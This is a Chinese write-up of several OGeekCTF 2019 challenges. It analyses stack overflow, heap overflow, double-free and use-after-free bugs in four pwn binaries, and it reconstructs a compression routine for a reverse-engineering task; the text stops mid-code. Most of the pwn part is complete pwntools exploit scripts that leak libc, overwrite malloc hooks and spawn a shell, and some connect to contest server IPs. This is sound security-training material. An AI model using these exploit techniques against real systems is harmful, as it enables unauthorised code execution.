OGeekCTF 2019 部分 writeups

相关附件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/ogeekctf2019

PWN

babyrop

签到题。

靶机环境是32位的glibc-2.23。

int __cdecl check(int random)
{
  size_t v1; // eax
  char s; // [esp+Ch] [ebp-4Ch]
  char buf[32]; // [esp+2Ch] [ebp-2Ch]
  ssize_t v5; // [esp+4Ch] [ebp-Ch]

  memset(&s, 0, 0x20u);
  memset(buf, 0, 0x20u);
  sprintf(&s, "%ld", random);
  v5 = read(0, buf, 0x20u);
  buf[v5 - 1] = 0;
  v1 = strlen(buf);
  if ( strncmp(buf, &s, v1) )
    exit(0);
  write(1, "Correct\n", 8u);
  return (unsigned __int8)buf[7];
}

由于check使用的是read函数,则我们可以直接输入\0开头的字符串来进行绕过,然后strlen的长度就为0,则后面的strncmp判断必定成功。

void __cdecl vul(char a1)
{
  char buf[231]; // [esp+11h] [ebp-E7h]

  if ( a1 == 127 )
    read(0, buf, 200u);
  else
    read(0, buf, a1);
}

之后的漏洞函数中,a1是我们之前输入的第八个字符,如果我们输入\xff时,则在reada1会进行符号填充,那么我们就可以读入4294967295-1)个字节,这将直接导致栈溢出,之后就行常规的ROP

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
#     print(e)

context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'
execve_file = './babyrop'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('47.112.137.238', 13337)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    b *0x080487FF
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)
# pause()

sh.sendline('\0' + '\xff' * 18)

sh.recvuntil('Correct\n')

sh.send('a' * 231 + p32(0x804b000 - 0x800) + p32(elf.plt['puts']) + p32(0x08048519) + p32(elf.got['puts']) + p32(elf.plt['read']) + p32(0x08048608) + p32(0) + p32(0x804b000 - 0x800) + p32(0x200))

result = sh.recvuntil('\n')[:-1]
libc_addr = u32(result) - libc.symbols['puts']
log.success('libc_addr: ' + hex(libc_addr))

sh.send(p32(0) + p32(libc_addr + libc.symbols['system']) + p32(libc_addr + libc.symbols['exit']) + p32(libc_addr + libc.search('/bin/sh').next()))

sh.interactive()
clear()

book manager

第二道签到题,靶机环境是glibc-2.23。

内置一大堆漏洞,这里我用最简单的heap overflow

Add_text功能中,size的大小是由用户决定的。

v6 = get_int();
if ( v6 <= 256 )
{
  v2 = *(_QWORD *)(*(_QWORD *)(a1 + 8 * (v4 + 4LL)) + 8 * (i + 4LL));
  *(_QWORD *)(v2 + 32) = malloc(v6);
  printf("\nText:");
  read_n(&s, 0x100u);
  v3 = strlen(&s);
  memcpy(*(void **)(*(_QWORD *)(*(_QWORD *)(a1 + 8 * (v4 + 4LL)) + 8 * (i + 4LL)) + 32LL), &s, v3);
}
else
{
  printf("\nToo many");
}

但是在Update功能中,其输入的大小指定为255,直接导致heap overflow

printf("\nNew Text:");
read_n(*(void **)(*(_QWORD *)(*(_QWORD *)(a1 + 8 * (v5 + 4LL)) + 8 * (v6 + 4LL)) + 32LL), 255u);
printf("\nUpdated", 255LL);
return;

而且由于Text结构的输入没有null截断,我们可以直接泄露libc地址

思路

  • 泄露libc地址
Add_chapter('aaaa\n')
Add_section('aaaa\n', 'bbbb\n')
Add_section('aaaa\n', 'cccc\n')
Add_text('bbbb\n', 0x88, '\n')
Add_text('cccc\n', 0x68, 'here\n')

Remove_text('bbbb\n')
Add_text('bbbb\n', 0x88, '\x78')
Book_preview()

sh.recvuntil('Section:bbbb')
sh.recvuntil('Text:')

result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))
  • 劫持Text结构体

因为劫持Text结构体更简单,而且可以实现任意地址读写,我们只需要提前布置好heap 结构就行。

Add_section('aaaa\n', 'dddd\n')
Update('cccc\n', '/bin/sh\0'.ljust(0x60, '\0') + p64(0) + p64(0x41) + 'dddd'.ljust(0x20, '\0') + p64(libc_addr + libc.symbols['__free_hook']))
  • 劫持hook
Update('dddd\n', p64(libc_addr + libc.symbols['system']))

Remove_text('cccc\n')

sh.interactive()

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
#     print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './bookmanager'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('47.112.115.30', 13337)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    b *$rebase(0x134A)
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def Add_chapter(c_name):
    sh.sendlineafter('Your choice:', '1')
    sh.sendafter('Chapter name:', c_name)

def Add_section(c_name, s_name):
    sh.sendlineafter('Your choice:', '2')
    sh.sendafter('Which chapter do you want to add into:', c_name)
    sh.sendafter('Section name:', s_name)

def Add_text(s_name, size, text):
    sh.sendlineafter('Your choice:', '3')
    sh.sendafter('Which section do you want to add into:', s_name)
    sh.sendlineafter('How many chapters you want to write:', str(size))
    sh.sendafter('Text:', text)

def Remove_text(s_name):
    sh.sendlineafter('Your choice:', '6')
    sh.sendafter('Section name:', s_name)

def Book_preview():
    sh.sendlineafter('Your choice:', '7')

def Update(s_name, text):
    sh.sendlineafter('Your choice:', '8')
    sh.sendlineafter('hat to update?(Chapter/Section/Text):', 'Text')
    sh.sendafter('Section name:', s_name)
    sh.sendafter('New Text:', text)

sh.recvuntil('Name of the book you want to create: ')
sh.send('a' * 30)

Add_chapter('aaaa\n')
Add_section('aaaa\n', 'bbbb\n')
Add_section('aaaa\n', 'cccc\n')
Add_text('bbbb\n', 0x88, '\n')
Add_text('cccc\n', 0x68, 'here\n')

Remove_text('bbbb\n')
Add_text('bbbb\n', 0x88, '\x78')
Book_preview()

sh.recvuntil('Section:bbbb')
sh.recvuntil('Text:')

result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))

Add_section('aaaa\n', 'dddd\n')
Update('cccc\n', '/bin/sh\0'.ljust(0x60, '\0') + p64(0) + p64(0x41) + 'dddd'.ljust(0x20, '\0') + p64(libc_addr + libc.symbols['__free_hook']))
Update('dddd\n', p64(libc_addr + libc.symbols['system']))

Remove_text('cccc\n')

sh.interactive()
clear()

hub

靶机环境是glibc-2.27。

要是能开启PIE并且使用glibc-2.23.so的话,相信能成为更优质的挑战。

溢出点

程序流还是非常清晰明了的。

__int64 __fastcall main_function(char *a1)
{
  __int64 result; // rax
  signed int v2; // eax
  char *ptr; // ST28_8
  unsigned int v4; // [rsp+8h] [rbp-28h]
  unsigned int size; // [rsp+14h] [rbp-1Ch]
  char *malloc_ptr; // [rsp+18h] [rbp-18h]
  char *ptr_array; // [rsp+20h] [rbp-10h]

  v4 = 39;
  malloc_ptr = 0LL;
  ptr_array = 0LL;
  while ( 1 )
  {
    result = v4--;
    if ( !(_DWORD)result )
      break;
    menu();
    v2 = get_int();
    if ( v2 == 2 )
    {
      puts("Which hub don't you want?");
      ptr = &ptr_array[(signed int)get_int()];
      free(ptr);
      if ( malloc_ptr == ptr )
        malloc_ptr = 0LL;
    }
    else if ( v2 > 2 )
    {
      if ( v2 == 3 )
      {
        puts("What do you want?");
        read(0, malloc_ptr, 8uLL);
      }
      else if ( v2 == 4 )
      {
        puts("Bye");
        exit(0);
      }
    }
    else if ( v2 == 1 )
    {
      puts("How long will you stay?");
      size = get_int();
      if ( size > 0x400 )
        malloc_ptr = 0LL;
      else
        malloc_ptr = (char *)malloc(size);
      if ( !malloc_ptr )
      {
        puts("Malloc faild");
        exit(-1);
      }
      ptr_array = malloc_ptr;
    }
  }
  return result;
}

Free功能中,虽然将malloc_ptr置为0,但是并没有将ptr_array置为0,则我们可以直接输入index为0,这样会直接导致double free

思路

  • 修改stdout结构体为了泄露地址信息

一般在有PIE的情况下,我们需要利用chunk残余的fd和bk来对stdout的地址进行爆破,但是这里没有PIE,而且stdout的地址就在bss段上,我们可以直接利用tcache attack进行控制。然后修改stdout->_flags

Malloc(0x18)
Free(0)
Free(0)
Malloc(0x18)
Write(p64(elf.symbols['stdout']))
Malloc(0x18)
Malloc(0x18)
Malloc(0x18)
Write(p64(0xfbad2887 + 0x1000))

奈何一次只能写入8 byte,而且修改stdout地址的话,调用printf函数时会发生阻塞现象,所以我们只能爆破对程序基本没有影响的stderr的地址了,下面的代码功能就是爆破bss段stderr的地址的低二位字节,使其指向stdout->_IO_write_base的地址,这里是1/16的几率。

Malloc(0x28)
Free(0)
Free(0)
Malloc(0x28)
Write(p64(elf.symbols['stderr']))
Malloc(0x28)
Malloc(0x28)
Write(p16(0x0780))

之后将地址指向我们要泄露的信息,通过调试可得:

pwndbg> p stdout->_IO_write_base
$1 = 0x7fa8627a27e3 <_IO_2_1_stdout_+131> "\n"
pwndbg> x/8gx 0x7fa8627a27b0
0x7fa8627a27b0 <_IO_2_1_stdout_+80>:  0x0000000000000000  0x0000000000000000
0x7fa8627a27c0 <_IO_2_1_stdout_+96>:  0x0000000000000000  0x00007fa8627a1a00
0x7fa8627a27d0 <_IO_2_1_stdout_+112>: 0x0000000000000001  0xffffffffffffffff
0x7fa8627a27e0 <_IO_2_1_stdout_+128>: 0x000000000a000000  0x00007fa8627a38c0
pwndbg> x/gx 0x00007fa8627a1a00
0x7fa8627a1a00 <_IO_2_1_stdin_>:  0x00000000fbad208b

stdout->_IO_write_base地址的低位字节为0xc8的时候,可以泄露_IO_2_1_stdin_的地址,所以对于的修改脚本如下:

Malloc(0x38)
Free(0)
Free(0)
Malloc(0x38)
Write(p64(elf.symbols['stderr']))
Malloc(0x38)
Malloc(0x38)
Malloc(0x38)
Write(p8(0xc8))

result = sh.recvn(8)
libc_addr = u64(result) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))
  • 劫持hook

直接用tcachedouble free即可。

Malloc(0x48)
Free(0)
Free(0)
Malloc(0x48)
Write(p64(libc_addr + libc.symbols['__free_hook']))
Malloc(0x48)
Malloc(0x48)
Write(p64(libc_addr + libc.symbols['system']))

Malloc(0x58)
Write('/bin/sh\0')
Free(0)

sh.interactive()

脚本

几率为1/16

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
#     print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './hub_2bcab892e2e5b54edbef4ccecd6f373f'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('47.112.139.218', 13132)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    b *0x400A33
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def Malloc(size):
    sh.sendlineafter('>>', '1')
    sh.sendlineafter('How long will you stay?\n', str(size))

def Free(hub):
    sh.sendlineafter('>>', '2aaaaaaaa')
    sh.sendlineafter('Which hub don\'t you want?', str(hub))

def Write(content):
    sh.sendlineafter('>>', '3')
    sh.sendafter('What do you want?\n', content)

Malloc(0x18)
Free(0)
Free(0)
Malloc(0x18)
Write(p64(elf.symbols['stdout']))
Malloc(0x18)
Malloc(0x18)
Malloc(0x18)
Write(p64(0xfbad2887 + 0x1000))

Malloc(0x28)
Free(0)
Free(0)
Malloc(0x28)
Write(p64(elf.symbols['stderr']))
Malloc(0x28)
Malloc(0x28)
Write(p16(0x0780))

Malloc(0x38)
Free(0)
Free(0)
Malloc(0x38)
Write(p64(elf.symbols['stderr']))
Malloc(0x38)
Malloc(0x38)
Malloc(0x38)
Write(p8(0xc8))

result = sh.recvn(8)
libc_addr = u64(result) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))

Malloc(0x48)
Free(0)
Free(0)
Malloc(0x48)
Write(p64(libc_addr + libc.symbols['__free_hook']))
Malloc(0x48)
Malloc(0x48)
Write(p64(libc_addr + libc.symbols['system']))

Malloc(0x58)
Write('/bin/sh\0')
Free(0)

sh.interactive()
clear()

0 day manager

靶机环境是glibc-2.27。

其实漏洞非常简单,只不过其中大量的结构体一开始就吓跑了很多人,刚开始看到这么复杂的结构体我自己也吓了一跳,但是随着仔细的分析,程序慢慢变得简单。

下面是程序要用到的结构体:

typedef struct Link{
    struct Link *next;
    void *ptr;
}Link;

typedef struct Node{
    int type;
    int data_size;
    char *data;
    int note_size;
    int field_14;
    char *note;
    int shellcode_size;
    int field_24;
    char *shellcode;
}Node;

typedef struct leak{
    int type;
    int data_size;
    char *data;
    int note_size;
    int field_14;
    char *note;
    char offset[8];
}leak;

typedef struct Memory{
    int type;
    int data_size;
    char *data;
    int note_size;
    int field_14;
    char *note;
    int shellcode_size;
    int field_24;
    char *shellcode;
}Memory;

typedef struct Logic{
    int type;
    int data_size;
    char *data;
    int note_size;
    int field_14;
    char *note;
    void *field_20;
    void *field_28;
}Logic;

typedef struct Container{
    void *array[6];
}Container;

typedef struct Control{
    int field_0;
    int field_4;
    Container *con;
}Control;

溢出点

这是我乱打payload无意间发现的,下面是我的payload:

1
3
90
fjsdosii
90
jfois
4
3
0
2
3

分析了Handle功能之后,发现其三个结构都有一个致命的UAF漏洞。

Handle功能中,处理的数目是由用户来确定的,但是当number为0时,悲剧就发生了。

printf("How many you want to handle in?");
number = get_int();
_number = number;

这里我举Logic为例,也就是type为2时,在Handle功能中,当number为0时,则下面的代码会直接跳过,这里原本是由v17来刷新this_control->con->array[2]结构的指针,number为0时,就什么也不做了,直接跳出,造成了UAF

v17 = this_control->con->array[2];
while ( v17 )
{
  v7 = number--;
  if ( !v7 )
    break;
  v8 = v17;
  v17 = v17->next;
  free(v8);
}
this_control->con->array[2] = v17;

思路

由于源程序代码复杂功能简单,所以脚本我也就写的简单一点。

  • 利用 UAF 漏洞,泄露 unsorted bin 的信息,从而计算libc地址
_sendline('1')
_sendline('3')
_sendline(str(0x58))
_sendline('1')
_sendline(str(0x418)) # unsorted bin
_sendline('1')
_sendline('4')
_sendline('3')
_sendline('0')

# show
_sendline('2')
_sendline('3')
sh.recvuntil('note :')
sh.recvuntil('note :')
result = sh.recvn(8)
main_arena_addr = u64(result) - 96
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))

调试结果如下:

pwndbg> pr
$1 = {
  array = {0x0, 0x0, 0x55af914eb780, 0x0, 0x0, 0x0}
}
pwndbg> prlo
$2 = {
  next = 0x0, 
  ptr = 0x55af914eb2c0
}
$3 = {
  type = 0, 
  data_size = 0, 
  data = 0x55af914eb300 "", 
  note_size = 1048, 
  field_14 = 0, 
  note = 0x55af914eb360 "\240\314Æ\302\177", 
  field_20 = 0x0, 
  field_28 = 0x0
}
pwndbg> x/4gx 0x55af914eb360
0x55af914eb360: 0x00007fc286c3cca0  0x00007fc286c3cca0
0x55af914eb370: 0x0000000000000000  0x0000000000000000
pwndbg> x/gx 0x00007fc286c3cca0
0x7fc286c3cca0 <main_arena+96>:   0x000055af914eb790
  • 绕过tcache

由于使用的calloc函数,它不会从tcache里面拿chunk,所以我们必须要先绕过tcache,方法也很简单,就是不停的free就行。

_sendline('1')
_sendline('2')
_sendline(str(0x68))
_sendline('1')
_sendline(str(0x68))
_sendline('1')
_sendline(str(0x68))
_sendline('1')

_sendline('4')
_sendline('2')
_sendline('0')

_sendline('4')
_sendline('2')
_sendline('0')

_sendline('4')
_sendline('2')
_sendline('0')

_sendline('4')
_sendline('2')
_sendline('0')

调试结果如下:

pwndbg> bin
tcachebins
0x40 [  5]: 0x55bf06037360 ◂— 0x55bf06037360
0x60 [  1]: 0x55bf06037300 ◂— 0x0
0x70 [  7]: 0x55bf060373a0 —▸ 0x55bf06037470 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55bf06037470 —▸ 0x55bf06037400 —▸ 0x55bf06037390 ◂— 0x55bf06037470
0x80: 0x0
unsortedbin
all: 0x55bf06037500 —▸ 0x7f86df21cca0 (main_arena+96) ◂— 0x55bf06037500
smallbins
empty
largebins
empty

可以看到fastbin已经double free了。

  • 劫持hook

这里需要进行利用realloc来进行栈调整,才能执行one gadget

_sendline('1')
_sendline('2')
_sendline(str(0x68))
_sendline(p64(main_arena_addr - 0x33))
_sendline(str(0x68))
_sendline('1')
_sendline(str(0x68))
_sendline('1')

_sendline('1')
_sendline('2')
_sendline(str(0x68))
_sendline('1')
_sendline(str(0x68))
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
# pause()

_sendline('z' * 11 + p64(libc_addr + 0x4f2c5) + p64(libc_addr + libc.symbols['realloc'] + 2))
_sendline(str(0x68))

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''
    typedef struct Link{
        struct Link *next;
        void *ptr;
    }Link;
    Link *no_use1;

    typedef struct Node{
        int type;
        int data_size;
        char *data;
        int note_size;
        int field_14;
        char *note;
        int shellcode_size;
        int field_24;
        char *shellcode;
    }Node;
    Node *no_use2;

    typedef struct leak{
        int type;
        int data_size;
        char *data;
        int note_size;
        int field_14;
        char *note;
        char offset[8];
    }leak;
    leak *no_use3;

    typedef struct Memory{
        int type;
        int data_size;
        char *data;
        int note_size;
        int field_14;
        char *note;
        int shellcode_size;
        int field_24;
        char *shellcode;
    }Memory;
    Memory *no_use4;

    typedef struct Logic{
        int type;
        int data_size;
        char *data;
        int note_size;
        int field_14;
        char *note;
        void *field_20;
        void *field_28;
    }Logic;
    Logic *no_use5;

    typedef struct Container{
        void *array[6];
    }Container;
    Container *no_use6;

    typedef struct Control{
        int field_0;
        int field_4;
        Container *con;
    }Control;
    Control *no_use7;

    '''

    f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
    f.write(gdb_symbols)
    f.close()
    os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
    print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './0day_manage'
sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
# sh = remote('47.112.137.133', 12345)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    set $p = *(Control **)$rebase(0x203050)

    define pr
        p *$p->con
        end

    define prl
        set $t= (Link *)(*$p->con).array[0]
        p *$t
        p *(leak *)$t->ptr
        end

    define prm
        set $t= (Link *)(*$p->con).array[1]
        p *$t
        p *(Memory *)$t->ptr
        end

    define prlo
        set $t= (Link *)(*$p->con).array[2]
        p *$t
        p *(Logic *)$t->ptr
        end
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def _sendline(str):
    sh.sendline(str)
    # time.sleep(0.5)

_sendline('1')
_sendline('3')
_sendline(str(0x58))
_sendline('1')
_sendline(str(0x418)) # unsorted bin
_sendline('1')
_sendline('4')
_sendline('3')
_sendline('0')

# show
_sendline('2')
_sendline('3')
sh.recvuntil('note :')
sh.recvuntil('note :')
result = sh.recvn(8)
main_arena_addr = u64(result) - 96
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))

_sendline('1')
_sendline('2')
_sendline(str(0x68))
_sendline('1')
_sendline(str(0x68))
_sendline('1')
_sendline(str(0x68))
_sendline('1')

_sendline('4')
_sendline('2')
_sendline('0')

_sendline('4')
_sendline('2')
_sendline('0')

_sendline('4')
_sendline('2')
_sendline('0')

_sendline('4')
_sendline('2')
_sendline('0')

_sendline('1')
_sendline('2')
_sendline(str(0x68))
_sendline(p64(main_arena_addr - 0x33))
_sendline(str(0x68))
_sendline('1')
_sendline(str(0x68))
_sendline('1')

_sendline('1')
_sendline('2')
_sendline(str(0x68))
_sendline('1')
_sendline(str(0x68))
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
# pause()

_sendline('z' * 11 + p64(libc_addr + 0x4f2c5) + p64(libc_addr + libc.symbols['realloc'] + 2))
_sendline(str(0x68))

sh.interactive()
clear()

RE

babyre

题目给了一个压缩程序,但是没有相对应的解压程序,还给了一个压缩过的文件,要求我们根据分析压缩程序的算法写出相对应的解压程序即可。

根据IDA还原的算法源码:

// gcc -s -O3 compress.c -o compress
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct out_container
{
    FILE *out_fp;
    int field_8;
    int field_C;
    int amount;
} out_container;

void push_one_bit(out_container *a1, int a2)
{
    int v2; // ebx

    if (a2)
        *(unsigned char *)&(a1->field_8) |= *(unsigned char *)&(a1->field_C);
    *(unsigned char *)&(a1->field_C) >>= 1;
    if (!*(unsigned char *)&(a1->field_C))
    {
        v2 = a1->field_8;
        if (v2 == _IO_putc(a1->field_8, a1->out_fp))
            ++a1->amount;
        else
            puts("write fail.");
        a1->field_8 = 0;
        *(unsigned char *)&(a1->field_C) = 0x80u;
    }
}

#define _WORD short

void push_n_bits(out_container *a1, size_t a2, char a3)
{
    int v3;     // ebx
    unsigned i; // [rsp+28h] [rbp-18h]

    for (i = 1 << (a3 - 1); i; i >>= 1)
    {
        if (a2 & i)
            *(unsigned char *)&(a1->field_8) |= *(unsigned char *)&(a1->field_C);
        *(unsigned char *)&(a1->field_C) >>= 1;
        if (!*(unsigned char *)&(a1->field_C))
        {
            v3 = a1->field_8;
            if (v3 == _IO_putc(a1->field_8, a1->out_fp))
                ++a1->amount;
            else
                puts("write fail.");
            a1->field_8 = 0;
            *(unsigned char *)&(a1->field_C) = -128;
        }
    }
}

void compress(_IO_FILE *in_fp, out_container *out)
{
    signed int i;   // [rsp+1Ch] [rbp-24h]
    signed int j;   // [rsp+1Ch] [rbp-24h]
    signed int k;   // [rsp+1Ch] [rbp-24h]
    int l;          // [rsp+1Ch] [rbp-24h]
    signed int m;   // [rsp+20h] [rbp-20h]
    signed int v7;  // [rsp+24h] [rbp-1Ch]
    int v8;         // [rsp+28h] [rbp-18h]
    signed int v9;  // [rsp+2Ch] [rbp-14h]
    signed int number; // [rsp+30h] [rbp-10h]
    char buf[0x1000];
    char byte_202040[17];
    int position; // [rsp+34h] [rbp-Ch]
    int v12; // [rsp+38h] [rbp-8h]
    int v13; // [rsp+38h] [rbp-8h]

    memset(buf, 0, 0x1000uLL);
    v8 = 1;
    for (i = 0; i <= 16; ++i)
    {
        v12 = _IO_getc(in_fp);
        if (v12 == -1)
            break;
        buf[i + 1] = v12;
    }
    v7 = i;
    number = 0;
    position = 0;
    while (v7)
    {
        if (number > v7)
            number = v7;
        if (number > 1)
        {
            v9 = number;
            push_one_bit(out, 0);
            push_n_bits(out, position, 12);
            push_n_bits(out, number - 2, 4);
        }
        else
        {
            v9 = 1;
            push_one_bit(out, 1);
            push_n_bits(out, buf[v8], 8);
        }
        for (j = 0; j < v9; ++j)
        {
            v13 = _IO_getc(in_fp);
            if (v13 == -1)
                --v7;
            else
                buf[((_WORD)v8 + 17 + (_WORD)j) & 0xFFF] = v13;
        }
        v8 = ((_WORD)v8 + (_WORD)v9) & 0xFFF;
        if (v7)
        {
            for (k = 0; k <= 16; ++k)
                byte_202040[k] = buf[((_WORD)v8 + (_WORD)k) & 0xFFF];
            number = 0;
            for (l = ((_WORD)v8 + 17) & 0xFFF; l != v8; l = ((_WORD)l + 1) & 0xFFF)
            {
                if (l)
                {
                    for (m = 0; m <= 16 && buf[((_WORD)l + (_WORD)m) & 0xFFF] == byte_202040[m]; ++m)
                        ;
                    if (m >= number)
                    {
                        number = m;
                        position = l;
                    }
                }
            }
        }
    }
    push_one_bit(out, 0);
    push_n_bits(out, 0LL, 12);
}

int main(int argc, char **argv)
{

    FILE *in_fp;
    out_container *out = malloc(sizeof(out_container));

    if(argc < 3)
    {
        puts("Usage: ./compress in_file out_file");
        exit(0);
    }

    in_fp = fopen(argv[1], "rb");

    if(in_fp == NULL)
    {
        perror("fopen error!");
        exit(-1);
    }

    out->out_fp = fopen(argv[2], "wb");

    if(out->out_fp == NULL)
    {
        perror("fopen error!");
        exit(-1);
    }

    setbuf(out->out_fp, NULL);
    out->field_8 = 0;
    *(unsigned char *)&(out->field_C) = -128;
    out->amount = 0;

    compress(in_fp, out);

    fputc(0, out->out_fp); 

    fclose(in_fp);
